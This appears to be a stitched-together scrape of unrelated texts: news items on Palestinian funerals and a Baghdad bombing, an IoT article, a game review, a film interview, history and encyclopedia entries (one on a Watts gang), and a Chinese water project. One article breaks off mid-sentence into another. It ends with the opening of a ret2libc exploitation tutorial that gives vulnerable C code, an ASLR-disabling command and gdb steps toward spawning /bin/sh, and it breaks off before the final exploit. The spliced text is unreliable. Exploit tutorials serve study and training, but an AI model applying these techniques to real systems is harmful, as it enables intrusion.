In Bani Naim east of Hebron, Issa Salim Tarayra was led to rest at the town's Martyr’s Cemetery. Locals said large numbers of mourners carried Tarayra's body from his family home to the front yard of Bani Naim Girls School where they performed funeral prayers before he was buried.
Issa Salim Mahmoud Tarayra, 16, was shot dead by Israeli troops near the entrance to his hometown Bani Naim on Sep. 20. Israeli forces had claimed that he attempted to stab Israeli soldier.
Mustafa Baradiya, originally from the Hebron area town of Surif, was buried in al-Arrub refugee camp where he lived before he was shot to death by Israeli troops on July 18, 216 after he stabbed and injured two Israeli soldiers on the main road near al-Arrub refugee camp.
His brother, 50-year-old Ibrahim Baradiya, was shot and killed by Israeli forces at the entrance of al-Arrub refugee camp on April 14 after allegedly attempting to attack a soldier with an ax.
Locals said that four slain Palestinians from the Hebron area -- identified as Muhammad al-Faqih, Muhammad Tarayra, Muhammad al-Rajabi, and Hatim Shaloudi -- were still being held by Israeli authorities.
The Israeli state had posthumously accused Tarayra al-Faqih, as well as Abd al-Hamid Abu Srour from Bethlehem of being affiliated with Hamas, and requested the Supreme Court for more time to decide on whether or not to return them.
When Israeli authorities have decided to return slain bodies and allow funerals in the occupied Palestinian territory, the ceremonies have been typically restricted by a long list of conditions imposed by Israeli authorities, including limiting the number of attendees and the deployment of Israeli soldiers throughout the event.
Palestinian families have also been forced to pay large financial deposits to the Israeli government as a collateral for potential “incitement” during the funerals and to ensure that families abide by Israeli-imposed conditions.
A joint statement released by Addameer and Israeli minority rights group Adalah in March condemned Israel’s practice of withholding bodies as "a severe violation of international humanitarian law as well as international human rights law, including violations of the right to dignity, freedom of religion, and the right to practice culture."IoT Shows Its Worth To Businesses
The Internet of Things (IoT) can be used for a diverse set of tasks, including opening up new business models. A recent Forrester report explores how businesses are embracing IoT.
IoT 2016: 13 Hot Trends For Business (Click image for larger view and slideshow.)
The Internet of Things (IoT) encompasses so many different aspects of technology that it defies easy explanation. To achieve some measure of clarity, research consultancy Forrester in a recent report advises businesses to focus on specific use cases that relate to their strategy and goals.
IoT can be thought of as the inverse of augmented reality. AR maps digital information onto a visual representation of the real world. IoT makes real world metrics available to digital systems. The Internet of Things enables the measurement of real world events, measurement that can be used to improve business operations.
The potential uses for IoT systems are diverse. At the World Economic Forum in Davos, Switzerland, according to Bloomberg, Doug McMillon, president and CEO of Walmart Stores, talked about IoT as a tool to combat climate change. For German dairy farmer Steffen Hake, IoT means connected cows. He uses SCR Dairy's Heatime tags to monitor the fertility and health of his livestock.
Sensors allow companies to enhance the way customers experience their products, to monitor the performance of machinery and predict maintenance needs, to manage product utilization and personnel allocation, to enhance security, and to address regulatory requirements.
But there's more to IoT than turning physical things into digital instruments. IoT can open up new business models. As an example, Forrester points to Kaeser Compressors, which by adding sensors to its industrial air compressors has been able to offer compressed-air-as-a-service to customers who prefer not to maintain their own machinery.
For businesses, such measurement can help optimize costs, if properly implemented. Take the case of marine product distributor Land 'N' Sea. According to Forrester, the firm uses Navman Wireless fleet tracking system to monitor its fleet of delivery trucks and its warehouses. By identifying the most efficient delivery routes and optimizing the timing of pickups and deliveries, Land 'N' Sea cut its monthly fuel bill by $14,000 and its overtime costs by $2,000 per week.
Enterprises have caught on to the potential value of IoT already, while smaller companies show similar levels of interest but less progress in terms of implementation. Among 1,755 enterprise decision makers surveyed last year by Forrester, 23% said their firms were already using IoT applications while 29% said they were planning to do so. Among 1,582 SMB decision makers, 14% said they were using IoT applications and 26% expressed the intent to do so.
[Read IoT Raises New Legal Challenges For Business.]
While there's clearly growing interest in IoT, it's equally evident why many firms have moved with caution. Integration with traditional infrastructure and operations can be a challenge due to lack of standards. "There is nothing like the market norms and industry standards of data center, PC, or mobile device technology," Forrester's report explains. "And it's not getting better soon."
The same can be said about IoT security. When security is only as strong as the weakest link in the chain, increasing the size of the chain just adds more points of potential failure. Among the business leaders surveyed by Forrester, the top concern was security (34%), followed by deployment cost (30%), and integration challenges (28%).
Researchers at Princeton's Center for Information Technology Policy recently looked at several popular consumer IoT devices for smart home applications and found them wanting. An IoT report from HP Enterprise last year is similarly grim (unless, like HP, you happen to be in the security business). Enterprise customers may be able to expect a bit more security out of the box, but it wouldn't be wise to assume any IoT device is secure. So, proceed with caution.
Thomas Claburn has been writing about business and technology since 1996, for publications such as New Architect, PC Computing, InformationWeek, Salon, Wired, and Ziff Davis Smart Business. Before that, he worked in film and television, having earned a not particularly useful... View Full Bio
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В Индии в ресторане ужинал один русский турист. Рядом за столиком сидел индус и, не мигая, смотрел на бутылку водки, стоящую перед ним.Через полчаса индус зашатался и упал на пол, так и не откупорив бутылку. Приехавший врач поставил диагноз: «Алкогольное отравление».Наш турист купил бутылку водки и быстро пошел в гостиницу. Там он поставил перед собой бутылку и начал на нее упорно смотреть... Его нашли в бессознательном состоянии. Прибывший врач поставил диагноз: «Захлебнулся слюной».While the visual novel may be a big deal in Japan, it hasn’t really found its footing in the US, although there are certainly dedicated fan translators out there who have gone to great lengths to make sure that hardcore fans can play some of the most well-known ones, such as Higurashi no Naku Koru Ni. There are also rare instances where a visual novel gets a proper US release, as in the case of Chunsoft’s 999: Nine Hours, Nine Persons, Nine Doors, which tells the story of a group of people trapped on a sinking ship together who must try to escape. The horror visual novel is its own niche altogether, however, and while Corpse Party has more action factored into its formula, the influence of visual novels is obvious in its format. Corpse Party tells the individual stories of nine characters and their adventures inside a haunted school by the name of Heavenly Host Elementary, which they are transported to by way of a mysterious earthquake. Naturally, since the school in question was torn down years ago after a series of ghastly murders, you can only assume that the worst is going to come. And it does.
The characters of Corpse Party are very much the typical stereotypes you expect to see in any visual novel: Satoshi Moshida, the shy and cowardly guy who gets picked on, Naomi Nakashima, the tomboy with the fun attitude, Seiko Shinohara, the cheerful best friend … and the list goes on. It could be stale, if it chose to be, but the writing is compelling enough here to keep us enrolled in the events and eventually to become interested in what role each of these characters play in the bigger picture.
One thing Corpse Party boasts is multiple endings, and it even has a star system within the menu so you can keep track of them all and try to unlock them. Many of these are “bad” endings in which your character dies, usually in a pretty gruesome way. Sure, the goal is to survive … but if you want the full experience of Corpse Party, you want to see what depraved lows it can go to almost more than you care about seeking out its highs.
Many gamers would be frustrated to have “wasted time” on the bad ending, but these are actually desirable in Japanese titles, as it gives the player a different perspective on how their story could come to an end. Watching a horror film has its own strange appeal, but playing a role in which you make decisions that can change the course of a story has a different resonance altogether. Corpse Party chooses to beckon to you, opening the door and showing you a mutilated mess of horrors. And perhaps you’ll follow, because you can’t seem to help yourself.
I’d wager that gamers new to this type of title could be somewhat taken off guard by the brutality and haunting images that it chooses to use in the telling of its story. Of course, Japan is known for its love of the horror genre, but even so, I’m a bit of a hardened horror fan, and there were parts of Corpse Party that made me shiver and look around to make sure that nothing had appeared in the corners while I was focusing on my PSP screen.
Other horror/visual novel titles such as Animamundi: Dark Alchemist portray a central character who tries to bring his beheaded sister back to life with the use of dark magic. Exploring characters like this gives us as players a chance to participate in an adventure that intrigues us because of its weirdness, but it also puts us in a position where we have to face certain actions we may have to take to advance that we may not like.
Corpse Party is a niche within a niche, a game so beautifully Japanese it stands as a commentary on the society itself as well as a source of entertainment. It’s true that as a society Japan seems to enjoy exposing the darkest parts of the human psyche, and Corpse Party only restates that theme. Whether or not American gamers will want to tap into that vein remains to be seen, but considering our taste for horror in film, it seems there might be a good chance we want to probe openly into our own darkness, and see where it might lead us.Now that he's traded playing a superhero for a supervillain, Michael Keaton isn't just settling for the usual fare.
That's what the acclaimed actor hints at in a new interview with EW in which he speaks about his upcoming role in Spider-Man: Homecoming as Adrian Toomes, aka. the Vulture. Known for his complicated, tormented portrayal of Bruce Wayne in 1989's Batman and 1992's Batman Returns, Keaton doesn't reveal much but does say that the Vulture comes equipped with not just awesome wings but the same kind of layering:
"The character actually has more relevance. I know there's this issue that comes up about how timely (Keaton's new movie) The Founder is, in terms of where we are now in this country. My character, actually, is, if not more relevant -- and I’m not going to say more than that. There’s a B-story to this guy that's kind of really interesting and really relevant. I would be lying if I said that's why I took it, but as we talked about it and did, I went, 'Whoa, there's some layers to this guy'...This director's (Jon Watts) a very bright guy, and he wanted to bring this issue out. A lot of people are going to like him more than they probably want to, would be my guess."
The Founder is about the man who turned McDonald's into a fast-food empire and how he trampled over basically everyone in his life (including the actual McDonald brothers) to consolidate his power and wealth. You don't have to look too far to see some modern-day analogies to that.
Could the story concocted for the Vulture in Spider-Man: Homecoming be along the same lines? With Keaton in the role, anything is possible. And since the last truly great Spider-Man screen villain was arguably Alfred Molina's Doc Ock in 2004's Spider-Man 2, it will be nice to see the wallcrawler go up against an impressive and multi-dimensional nemesis again.
In that same interview, by the way, The Founder co-star Patrick Wilson also speaks briefly about changing sides from hero (he was Nite Owl in 2009's Watchmen) to villain as Ocean Master in the upcoming Aquaman. Wilson manages to say, "It's nice to don the tights every now and then," before Keaton comes at him with, "Vulture will destroy you, Ocean Master." It's a fun exchange about a Marvel/DC crossover we'll never see happen... but certainly wouldn't mind with these two actors in the roles.
Spider-Man: Homecoming hits theaters on July 7.
(via Collider)We’re interrupting your regularly scheduled programming on gentrification to bring you this Black History Month profile on Lewis H. Latimer, the African-American renaissance man who in the late 19th century helped not only invent the lightbulb, but also create the electric industry as we know it today. Yes, it’s common knowledge that Thomas Edison was the lightbulb’s inventor. And with today being Edison’s birthday, the electric industry won’t let us forget that, either:
Today is Thomas Edison’s birthday—A terrific reminder that our industry & the innovations that we power all started w/ one man’s vision—Kuhn — EEI (@Edison_Electric) February 11, 2015
It’s a bit generous to credit all of this to “one man’s vision.” There were competing visions all throughout the 1800s on how to efficiently distribute light, beyond a candle, and on how to power growing urban centers. Populations in northern American cities began exploding in the closing decades of the 19th century not only because of immigration from Europe but also because of migrating African Americans emancipated from slavery. Edison gets technical credit for patenting the first “practical incandescent” lightbulb during this time, and also, as the Edison Electric Institute (EEI) reminds us, creating the first electric light power station.
Edison created the first electric light power station: Pearl Street Central Power Station in lower Manhattan. #HappyBirthdayEdison — EEI (@Edison_Electric) February 11, 2015
But while Edison got the patent on those, he got there with a lot of help from Latimer, who literally wrote the book on both. Latimer’s Incandescent Electric Lighting: A Practical Description of the Edison System is a bit more deferential to Edison than perhaps necessary. That was likely a reflection of the times when big ideas couldn’t possibly be ascribed to non-white people, especially when the burgeoning eugenics movement was considered serious science. But Latimer had already been involved in a major invention, having helped Alexander Graham Bell patent the telephone in 1876. In 1880, Latimer began working for the United States Electric Lighting Company, which was run by Edison’s rival Hiram S. Maxim.
A biography on EEI’s site states that while working for Maxim, “Latimer invented and patented a process for making carbon filaments for light bulbs,” and helped install broad-scale lighting systems for New York City, Philadelphia, Montreal, and London. Latimer holds the patents for the electric lamp, issued in 1881, and for the “process of manufacturing carbons” (the filament used in incandescent light bulbs), issued in 1882. It was roughly 1885 when he finally joined forces with Edison and began improving upon his boss’s invention.
Latimer had no formal training in science, but believed technology and innovation could help advance the plight of African Americans still reeling from slavery. That whole “STEM will save people of color!” cause is nothing new. The important thing, though, is that unlike peers like Booker T. Washington, he didn’t believe that simply learning a trade or two would be black people’s ticket to freedom. He understood how power worked structurally to disenfranchise and disempower black people, immigrants, and the poor in general. This is evidenced in both the prose and poetry he wrote during his time about electricity and society.
“The lamp embodied the relationship of art and science, and its improvement promised benefits for all classes of society,” wrote Bayla Singer, a professor at Rutgers University, in an article on Latimer and his work. “The electric light was a cause well worth serving. All of Latimer’s inventions, patented and unpatented, relate to improving the quality of life.”
His aforementioned book Incandescent Electric Lighting demonstrates an understanding of how the new technology could bring electricity to those who previously couldn’t afford it. On the electric lamp he wrote, “Like the light of the sun, it beautifies all things on which it shines, and is no less welcome in the palace than in the humblest home.”
And yet his book’s preface notes how this new industry he and Edison were creating was admittedly shifting society from one of independent or localized power to a more centralized version:
While these central [power] stations cheapen the production of the light, and bring it within the reach of those who otherwise could not afford it, it does away with the large number of isolated plants, which formerly afforded the curious an opportunity to inspect the generation, distribution and utilization in light, of this form of energy.
Today we are no longer confined to combusting coal to power our lighting and heating devices. We now have the technology to take that “light of the sun” Latimer wrote about to energize our endeavors. Not only that, but through rooftop solar power, we find ourselves arriving back at a place where “the curious” can generate and distribute their own energy, through net metering and similar enterprises.
EEI finds itself caught in the middle of these advances today, purporting to invite the kind of innovation praised by Latimer and Edison, but worried that the energy independence or energy democracy that comes with solar distributed generation will cut into electric utilities’ profits.
In a briefing today for Wall Street analysts, bankers, and investors, EEI executives acknowledged the spread of solar and other renewable energy sources, but assured everyone that the electric utility companies would remain at the forefront and continue to profit no matter what.
“A number of pending and proposed regulations will transform the way that electricity is generated, delivered, and consumed,” said EEI Vice President David Owens, who’s been co-opting black and Latino organizations in an effort to make rooftop solar more expensive. “The bottom line: Customers expect us to develop and sustain a grid that supports all of these needs, while giving them flexibility and choice in how they use energy. As the grid continues to transform, we need to make sure that it is managed with expertise and system know-how.”
Meaning, they will be making sure EEI’s expertise is managing those efforts, even as they approach headwinds from an energy democracy movement that no longer wants to be dependent on the centralized utility station system. Organizations like the Center for Social Inclusion, the Institute for Local Self-Reliance, and Grid Alternatives are pushing solar distributed generation as a way to empower historically under-resourced communities and create wealth for them in the process. Because right now, the wealth from generating electricity is flowing to the monopolized utilities.
Richard McMahon, EEI’s vice president of energy supply and finance, told the Wall Street crowd today that investor-owned utilities posted a higher average return than the Dow Jones Industrial Average and the S&P 500 in 2014. “Over the longer term, electric utilities’ total returns have continued to reward investors more handsomely than the broader market,” he said.
More handsome profits means EEI gets to dole out perks to black and Latino groups to carry out their agenda, which the L.A. Times picked up on recently. Visitors of the lauded Schomburg Center for Research in Black Culture in Harlem might get a sense of this when they see that a gallery there named after Latimer is funded in part by the Consolidated Edison Company utility, an EEI member and one of the largest investor-owned utility companies in the nation. Though, to be fair, Consolidated Edison is one of the few investor-owned utilities that has pledged to discontinue building additional, unnecessary power stations and get out of the way of expanding local solar generation.
Still, we haven’t seen EEI and its members step outside their silos to show support for causes to improve the lives of people of color beyond their electric bills. Rather, we see them peddling resolutions that appear to be ghostwritten by the American Legislative Exchange Council, a group behind controversial policies like “stand your ground” laws, which have been blamed for the death of the unarmed, black teenager Trayvon Martin.
Latimer likely would’ve been disappointed in these stances and alliances. For all of his passion for scientific innovation, he didn’t neglect racial justice. In a letter he wrote in 1895 in support of the National Conference of Colored Men, a “My Brother’s Keeper”-like initiative for that time, Latimer wrote:
If our cause be made the common cause, and all our claims and demands be founded on justice and humanity, recognizing that we must wrong no man in winning our rights, I have faith to believe that the Nation will respond to our plea for equality before the law, security under the law, and an opportunity, by and through maintenance of the law, to enjoy with our fellow citizens of all races and complexions the blessings guaranteed us under the Constitution.
That’s what we’d call true enlightenment.Tian Dan (simplified Chinese: 田单; traditional Chinese: 田單; pinyin: Tián Dān) was a general and nobleman of the major state of Qi during the Warring States period of ancient China. He was known for a spectacular military tactic called "Fire Cattle Columns".[1] After the kingdom was nearly destroyed under the rule of King Min of Qi, he helped regain its territory and restored the king's son. He later fought the Beidi nomads, either in the far north or in areas in or between the various northern Chinese states.
Yan and Qi Conflicts [ edit ]
In 314 BC, Zizhi, the Chancellor of Yan Kingdom, rebelled against his king which led to months of internal turmoil within Yan. King Xuan of Qi, desiring to take advantage of Yan's weakened defences, launched a military attack on Ji (near modern Beijing), the capital of Yan. However, the attack was unsuccessful.
In 286 BC, King Min of Qi attacked the state of Song and destroyed it, annexing its land into Qi territory. Although successful, the attack incited hostility against Qi from the remaining six kingdoms. King Zhao of Yan used that development to raise a military alliance against Qi. The army of Yan and its allies under the command of Yue Yi managed to inflict a crushing defeat on Qi, captured 70 cities. Only two cities remains in Qi possession, Jimo and Ju. King Min was later killed at Ju. His son Tian Fazhang was crowned by the local people as King Xiang of Qi.
Yan army's onslaught led to many of Qi's citizens fleeing. Many of Qi people's chariots were broken due to overuse. However, Tian Dan had reinforced his chariots' axles with metal. Therefore, his family was able to safely escape to Jimo. The Qi citizens in Jimo praised Tian Dan's intelligence and elected Tian Dan as Jimo's military commander after the previous commander was killed in battle.
In 279 BC, King Zhao of Yan died. He was succeeded by King Hui of Yan who disliked his military commander Yue Yi. Tian Dan sent his spies to Yan who created and spread rumours about Yue Yi's possible treachery. The rumours successfully misled King Hui who then dismissed Yue Yi and replaced him with Ji Jie. This enraged the Yan army which deeply respected its former commander.
Boosting the morale of Qi troops [ edit ]
It was said that Tian Dan had his spies spread the rumour : "If Yan troops cut the noses of Qi prisoners and put them in the first line, Qi troops will be defeated." Yan troops believed the rumour and cut the noses of the Qi prisoners. The Qi army was enraged at this action and in future battles with Yan refused to surrender because they didn't want to be mistreated.
Tian Dan's spies spread another rumour: "If Yan troops dig up Qi ancestor's graves and dishonour the deceased people, it will be very disheartening." Yan troops again believed the rumour and destroyed Qi graves and burned the dead bodies. The Qi people were again enraged and strongly sought revenge.
The Flaming Oxen [ edit ]
After boosting Qi's morale and weakened the Yan troops, Tian Dan was able to launch a successful counter-attack and retook the lost territory of Qi.
This counter-attack was reliant on an unconventional assault which included inducing panic in a herd of oxen, who were then set upon the Yan army. It is described by Sima Qian in the Records of the Grand Historian within his biography of Tian Dan:
"Tian Dan collected more than one thousand oxen from the people in the city. He had them dressed with red silk, and had multicolour lines, like those of dragons, painted on them. Sharp blades were adjusted to their horns, and reeds dipped in grease, so that their tips could be set aflame, were attached to their tails. Several passages were dug in the city walls, and on one night, the oxen were released, followed by five thousand sturdy men. The oxen, their tail on fire, charged the army of Yan, creating panic. The torches attached to the tails illuminated the night, the troops of Yan saw the lines on their bodies, which looked like dragons, and all those who met their horns were either killed or wounded. Then, the five thousand men, their mouths closed with pieces of wood, attacked them. They were followed by the sound of shouts and drums from the city, and all the old people and children struck metal pots. The noise shook heaven and earth. The soldiers of Yan panicked. They were defeated and repealed, and the people of Qi killed his general, Ji Jie. As the army of Yan was falling back, in disorder and confusion, the soldiers of Qi chased it, and destroyed it as they pushed it northwards. All the cities it went through revolted, and rallied Tian Dan, whose troops were larger every day. As he fled from a victory to another, the army of Yan was defeated every day, and finally reached the northern bank of the Yellow River. At this time, more than seventy cities had returned back to Qi."[2]The Fudge Town Mafia Crips (FTMC) are an African-American street gang located in the Watts district of Los Angeles, California. Their neighborhood spread from Wilmington Ave to Weigand Avenue, between 102nd Street and 108th Street. Their main cliques are T Funk Ridaz and 105th Street, as well as the 107th Street. The Fudge Town Mafia Crips fall under the Mafia Crips umbrella.
The Fudge Town Mafia Crips originated in the 1970s, and have been active for over thirty years. Members are known to sport brown articles of clothing, which represent “Fudge” along with blue to represent “Crip” (Fudge Town Mafia Crips). Bronco (rapper) from Bloods & Crips and Nationwide Rip Ridaz is affiliated with the Fudge Town Mafia Crips.
News
On june 4, 2012, the Fudgetown Mafia Crips made the CBS News, when Donald Ray Dokins, a suspected member of the Fudge Town Mafia Crips. Shot and killed an innocent 15 month old baby, who died in his father arms. Cortez (father), holding Angel (baby), and several people in his extended family were gathered outside their home in the 10500 block of Hickory Street.
As they talked, an assailant wearing a gray shirt rode by on a bicycle and fired multiple times into the group. Cortez been wearing a purple shirt shortly before the shooting. The color is identified with the neighborhood’s Watts Varrio Grape Street gang, a rival of the Fudgetown Mafia Crips.
Allies & Rivals
Allies include: all Mafia Crips suh as 99 Mafia Crips, Main Street Mafia Crips, Blue Gate Mafia Crips, and Beach Town Mafia Crips. PJ Watts Crips, Watts Franklin Square Crips, and the Front Street Crips. Rivals include: Circle City Piru, Bounty Hunters Watts, Hacienda Village Bloods, Grape Street Watts Crips, Varrio Grape Street, South Los13, and the 92 Bebop Bloods(Watts).
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PinterestBy Ahmed Rasheed and Maher Chmaytelli
BAGHDAD (Reuters) - Nearly 120 people were killed and 200 wounded in two bombings overnight in Baghdad, most of them in a busy shopping area as residents celebrated Ramadan, police and medical sources said on Sunday.
The attack on the shopping area of Karrada is the deadliest since U.S.-backed Iraqi forces last month scored a major victory when it dislodged Islamic State from their stronghold of Falluja, an hour's drive west of the capital. It is also the deadliest so far this year.
Prime Minister Haider al-Abadi had ordered the offensive after a series of bombings in Baghdad, saying Falluja served as a launchpad for such attacks on the capital. However, bombings have continued.
A convoy carrying Abadi who had come to tour the site of the bombings was pelted with stones and bottles by residents, angry at what they felt were false promises of better security.
A refrigerator truck packed with explosives blew up in the central district of Karrada, killing 115 people and injuring at least 200. Islamic State claimed responsibility for the attack in a statement circulated online by supporters of the ultra-hardline Sunni group. It said the blast was a suicide bombing.
Karrada was busy at the time as Iraqis eat out and shop late during the Muslim fasting month of Ramadan, which ends next week with the Eid al-Fitr festival.
The White House on Sunday said the attack only strengthened the United States' resolve to confront Islamic State. "We remain united with the Iraqi people and government in our combined efforts to destroy ISIL," said the White House statement, referring to Islamic State.
Videos posted on social media showed people running after the SUV convoy of Abadi as he left Karrada after touring the scene, throwing pavement stones, bottles of water, empty buckets and slippers, venting their anger at the inability of the security forces to protect the area.
Abadi declared three days of mourning for the victims, according to state-run media that also cited him saying he understood the angry reaction of residents.
Another video posted on social media showed a large blaze in the main street of Karrada, |
and Tianjin;
The Western Route which goes from three tributaries of Yangtze River near the Bayankala Mountain to provinces like Qinghai, Gansu, Shaanxi, Shanxi, Inner Mongolia and Ningxia.[4]
Mao Zedong discussed the idea for a mass engineering project as an answer to China's water problems as early as 1952. He reportedly said, "there's plenty of water in the south, not much water in the north. If at all possible; borrowing some water would be good."[5][6] The complete project was expected to cost $62 billion – more than twice as much as the Three Gorges Dam.[7] By 2014, more than $79 billion had been spent, making it one of the most expensive engineering projects in history.[8]
Eastern route [ edit ]
The Eastern Route Project (ERP) consists of an upgrade to the Grand Canal, and will be used to divert a fraction of the total flow of the Yangtze River to Northern China. According to Chinese hydrologists, the entire flow of the Yangtze at the point of its discharge into the East China Sea is, on average, 956 km3 per year; the annual flow does not fall below around 600 km3 per year even in driest years.[9] As the project progresses, the amount of water to be diverted to the north will increase from 8.9 km3/year to 10.6 km3/year to 14.8 km3/year.[9]
Water from the Yangtze River will be drawn into the canal in Jiangdu, where a giant 400 m³/s (12.6 billion m3/year if operated continuously) pumping station was built in the 1980s. The water will then be pumped by stations along the Grand Canal and through a tunnel under the Yellow River and down an aqueduct to reservoirs near Tianjin. Construction on the Eastern route began officially on December 27, 2002, and water was expected to reach Tianjin by 2012. However, in addition to construction delays, water pollution has affected the viability of the route. Initially the route was expected to provide water for the provinces of Shandong, Jiangsu and Hebei, with trial operations to begin in mid-2013. Water started arriving in Shandong in 2014, and it is expected 1 billion cubic meters will be transferred in 2018.[10] As of early 2013, no date has been set when water will reach Tianjin. Tianjin is expected to receive 1 billion m3/year.[11] The Eastern route is not expected to supply Beijing which is to be supplied by the central route.
The completed line will be slightly over 716 miles (1,152 km) long, equipped with 23 pumping stations with a power capacity of 454 megawatts.[7]
An important element of the Eastern Route will be a tunnel crossing under the Yellow River, on the border of Dongping and Dong'e Counties of Shandong Province. The crossing will consist of two 9.3 m diameter horizontal tunnels, positioned 70 m under the riverbed of the Yellow River.[7][9]
Due to the topography of the Yangtze Plain and the North China Plain, pumping stations will be needed to raise water from the Yangtze to the Yellow River crossing; farther north, the water will be flowing downhill in an aqueduct.[9]
Central route [ edit ]
The central, or middle, route runs from Danjiangkou Reservoir on the Han river, a tributary of the Yangtze River, to Beijing. This project involved raising the height of the Danjiangkou dam by increasing the dam crest elevation from 162 m to 176.6 m above the sea level. This addition to the dam's height allowed the water level in the reservoir to rise from 157m to 170 m above the sea level. And this, allowed the flow into the water diversion canal to begin "downhill", pulled by gravity, to the lower elevation of the canals.[12]
The middle route is built on and across the North China Plain. The canal was constructed so that gravity is the force pushing the flow of the water all the way from the Danjiangkou Reservoir to Beijing, without the need for pumping stations.[12] The greatest engineering challenge of the route was the building of two tunnels under the Yellow River, to carry the canal's flow. Construction on the central route began in 2004. In 2008, the 307 km-long northern stretch of the central route was completed at a cost of US$2 billion. Water in that stretch of the canal does not come from the Han River but from reservoirs in Hebei Province, south of Beijing. Farmers and industries in Hebei had to cut back on water consumption to allow for water to be transferred to Beijing.[13]
On Google Maps, one can see the canal's intake at the Danjiangkou Reservoir ( ), its crossing of the Baihe River north of Nanyang, Henan ( ), the Shahe River in Lushan County, Henan ( ), the Ying River in Yuzhou, Henan ( ), and the Yellow River upstream from Zhengzhou ( ). The canal eventually reaches the southwestern suburbs of Beijing in the Juma River valley in Zhuozhou, Hebei ( ).
The whole project was expected to be completed around 2010. Final completion was in 2014 to allow for more environmental protections to be built along the route. One problem was the impact of the project on the Han River, below the Danjiangkou Dam,[5] from which approximately one-third of the water is diverted. One long-term solution being considered is to build another canal to divert water from the Three Gorges Dam to Danjiangkou Reservoir. On Friday, Dec. 12, 2014, the middle leg of China’s South to North Water Project, the world’s largest water transfer project to date, opened.[14]
Another major challenge was the resettlement of around 330,000 persons who were living near Danjiangkou Reservoir (at its prior, lower elevation), and along the route of the canal. On October 18, 2009, Chinese officials began to relocate residents from the areas of the Hubei and Henan provinces who were to be affected by the reservoir.[15] The completed canal route is approximately 1,264 km long, initially providing 9.5 km3 of water annually. By 2030, water transfers is expected to increase to 12 to 13 km3 annually,[7] although in dry years the annual amount transferred will be less (at least 6.2 km3, with a 95% guarantee rate).[12]
Industries are prohibited from locating on the reservoir's watershed to keep its water drinkable.[16]
Western route [ edit ]
The western route, called the Big Western Line, is in the planning stage. It aims to divert water from the headwaters of the Yangtze River (the Tongtian, Yalong and Dadu Rivers) into the headwaters of the Yellow River. To move the water through the drainage divide between these rivers, huge dams and long tunnels are needed to cross the Qinghai-Tibetan Plateau and Western Yunnan Plateaus. This route is designed to bring 3.8 billion m3 of water from three tributaries of the Yangtze River about 450 km across the Bayankala Mountains to northwest China.[7] The Tongtian diversion line would be 289 km long, the Yalong 131 km, and the Dadu 30 km. The feasibility of this route is being studied; this project will not start in the near future. Environmentalists have raised concerns about potential flooding.[17] The respective rivers are entirely within China.
In addition, there are long-standing plans to divert about 200 billion cubic metres of water annually from the upstream sections of six rivers in southwestern China, including the Mekong (Lancang River), the Yarlung Zangbo (called Brahmaputra further downstream) and the Salween (Nu River), to the Yangtze River, the Yellow River and ultimately to the dry areas of northern China through a system of reservoirs, tunnels and natural rivers.[18] The project was considered too immense and costly to be undertaken at the time. The respective rivers are transboundary and any diversion would affect India, Bangladesh, Myanmar, Laos, Thailand, Cambodia, and Vietnam.
Financing [ edit ]
In 2008, construction costs for the eastern and central routes was estimated to be 254.6 billion yuan ($37.44 billion). The government had budgeted only 53.87 billion yuan ($7.9 billion), less than a quarter of the total cost, at that time. This included 26 billion from the central government and special accounts, 8 billion from local governments, and almost 20 billion in loans. As of 2008, around 30 billion yuan had been spent on the construction of the eastern (5.66 billion yuan) and central routes (24.82 billion yuan). Costs of the projects have increased significantly.[7]
Project controversy [ edit ]
The project required resettling at least 330,000 people in central China.[19] Critics have warned the water diversion will cause environmental damage and some villagers said officials had forced them to sign agreements to relocate.[19]
In the summer of 2013, complaints arrived from the fish farmers on the Dongping Lake, on the project's Eastern Route, in Shandong, reporting that the polluted Yangtze River water entering the lake was killing their fish.[20]
Government officials and defenders of the project claim the Yangtze River has a plentiful supply of water, with 96% of the water currently flowing into the Pacific Ocean. They argue that transferring one portion to the poorly irrigated areas of the north could solve the north's water scarcity issue.[16]
See also [ edit ]
References [ edit ]
Coordinates:This is part 2 of my 64-bit Linux Stack Smashing tutorial. In part 1 we exploited a 64-bit binary using a classic stack overflow and learned that we can’t just blindly expect to overwrite RIP by spamming the buffer with bytes. We turned off ASLR, NX, and stack canaries in part 1 so we could focus on the exploitation rather than bypassing these security features. This time we’ll enable NX and look at how we can exploit the same binary using ret2libc.
Setup
The setup is identical to what I was using in part 1. We’ll also be making use of the following:
Ret2Libc
Here’s the same binary we exploited in part 1. The only difference is we’ll keep NX enabled which will prevent our previous exploit from working since the stack is now non-executable:
/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc */ /* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <unistd.h> int vuln () { char buf [ 80 ]; int r ; r = read ( 0, buf, 400 ); printf ( "
Read %d bytes. buf is %s
", r, buf ); puts ( "No shell for you :(" ); return 0 ; } int main ( int argc, char * argv []) { printf ( "Try to exec /bin/sh" ); vuln (); return 0 ; }
You can also grab the precompiled binary here.
In 32-bit binaries, a ret2libc attack involves setting up a fake stack frame so that the function calls a function in libc and passes it any parameters it needs. Typically this would be returning to system() and having it execute “/bin/sh”.
In 64-bit binaries, function parameters are passed in registers, therefore there’s no need to fake a stack frame. The first six parameters are passed in registers RDI, RSI, RDX, RCX, R8, and R9. Anything beyond that is passed in the stack. This means that before returning to our function of choice in libc, we need to make sure the registers are setup correctly with the parameters the function is expecting. This in turn leads us to having to use a bit of Return Oriented Programming (ROP). If you’re not familiar with ROP, don’t worry, we won’t be going into the crazy stuff.
We’ll start with a simple exploit that returns to system() and executes “/bin/sh”. We need a few things:
The address of system(). ASLR is disabled so we don’t have to worry about this address changing.
A pointer to “/bin/sh”.
Since the first function parameter needs to be in RDI, we need a ROP gadget that will copy the pointer to “/bin/sh” into RDI.
Let’s start with finding the address of system(). This is easily done within gdb:
gdb-peda$ start... gdb-peda$ p system $1 = {<text variable, no debug info>} 0x7ffff7a5ac40 <system>
We can just as easily search for a pointer to “/bin/sh”:
gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 3 results, display max 3 items: ret2libc : 0x4006ff --> 0x68732f6e69622f ('/bin/sh') ret2libc : 0x6006ff --> 0x68732f6e69622f ('/bin/sh') libc : 0x7ffff7b9209b --> 0x68732f6e69622f ('/bin/sh')
The first two pointers are from the string in the binary that prints out “Try to exec /bin/sh”. The third is from libc itself, and in fact if you do have access to libc, then feel free to use it. In this case, we’ll go with the first one at 0x4006ff.
Now we need a gadget that copies 0x4006ff to RDI. We can search for one using ropper. Let’s see if we can find any instructions that use EDI or RDI:
